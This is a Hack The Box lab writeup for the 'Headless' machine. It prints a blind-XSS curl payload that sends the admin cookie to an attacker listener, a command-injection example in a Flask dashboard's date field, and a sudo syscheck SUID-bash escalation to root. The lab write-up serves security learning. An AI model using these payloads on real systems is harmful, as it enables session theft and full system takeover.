Hack The Box Headless Writeup (Easy Linux)
Easy Linux box. Blind XSS in the support form steals the admin cookie, the dashboard date field injects commands, and sudo syscheck runs a planted initdb.sh.
Summary
Headless is an easy Linux machine running a Flask application on port 5000 whose support form rejects suspicious characters and, when it does, tells the visitor that their headers have been forwarded to an administrator for review. That makes it blind XSS: submitting a message containing angle brackets while carrying a script tag in the Referer header means the payload fires when the admin opens the log, and the administrator’s is_admin cookie arrives at a listening web server. With that cookie, the /dashboard endpoint becomes reachable, and its date parameter is interpolated straight into os.popen, so a semicolon and a command return output in the page and then a shell. The compromised user dvir may run /usr/bin/syscheck as root, and that script executes initdb.sh from the current working directory, so planting one that sets the SUID bit on /bin/bash gives a root shell.
Initial Target - 10.10.11.8
Service Enumeration
| IP Address | TCP Ports Open |
|---|---|
| 10.10.11.8 | 22, 5000 |
BS01: Blind XSS (Cross Site Scripting)
Explanation: The section that allows users to send messages to the support at http://10.10.11.8:5000/support is prone to blind cross-site scripting. There is a protection that detects if we submit suspicious characters, for instance “<” or “>”. When this protection is triggered, a message shows up informing us that our browser characteristics, including all headers, have been sent to the admin for analysis. If we trigger the protection, and then add a malicious code in our request headers, the admin will execute arbitrary javascript code when opening the suspicion logs for analysis. With that vulnerability, we may be able to exfiltrate the admin session cookie.
Severity: Elevated
Recommendation: (recommendation)
Step to Reproduce:
Use python to run a simple http server:
python3 -m http.server 80Run the following curl command:
curl -X POST --data 'fname=bsec&lname=bsec&email=bsec@bsec.com&phone=123456789&message=<>' -H 'Referer: <script>new Image().src="http://10.10.14.15/?c="+document.cookie;</script>' http://10.10.11.8:5000/support -vvWait a few seconds and a connection will be received in the terminal you used to run the web server. The admin cookie is after the
?c=:
1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [25/Mar/2024 14:10:15] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
BS02: Initial Access - Command Injection
Explanation: After obtaining success on exploiting BS01, an attacker could access the restricted /dashboard endpoint by impersonating the admin with their cookie. When submitting a request to the panel, it is possible to intercept the request and change the “date” value, including a command injection payload.
Severity: High
Recommendation: (recommendation)
Steps to Reproduce:
- Execute the PoC created by BehindSecurity to exploit this vulnerability and get a shell on the system.
Additional Insight: The following function is where the command injection vulnerability resides. As we can observe, this flask route first checks if the user is admin. If the user is indeed admin, and the request method is POST, it gets the POST data “date” variable, which is controlled by the user, and uses it with os.popen without any proper validation.
1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/dashboard', methods=['GET', 'POST'])
def admin():
if serializer.loads(request.cookies.get('is_admin')) == "user":
return abort(401)
script_output = ""
if request.method == 'POST':
date = request.form.get('date')
if date:
script_output = os.popen(f'bash report.sh {date}').read()
return render_template('dashboard.html', script_output=script_output)
As “{date}” in this case would be replaced by our input, the executed command would look like this:
1
os.popen(f'bash report.sh 2023-09-15;ifconfig').read()
And the output for ifconfig would appear to us in the dashboard route.
BS03: Post Exploitation - Vertical Privilege Escalation
Explanation: User dvir can run /usr/bin/syscheck as root. However, this script searches in the current directory for a file named initdb.sh and executes it. A remote attacker could be able to create a fake “initdb.sh” in a directory that the user has write access to, and potentially execute system commands as root.
Severity: Extreme
Recommendation: (recommendation)
Steps to Reproduce:
Create
initdb.shin the current directory.Add the following content to the newly created file:
1
2
#!/bin/bash
chmod +s /bin/bash
Give the script the right permissions:
chmod 777 initdb.shExecute
sudo /usr/bin/syscheckIf everything goes well, you’ll be able to run:
/bin/bash -pand get a shell as root.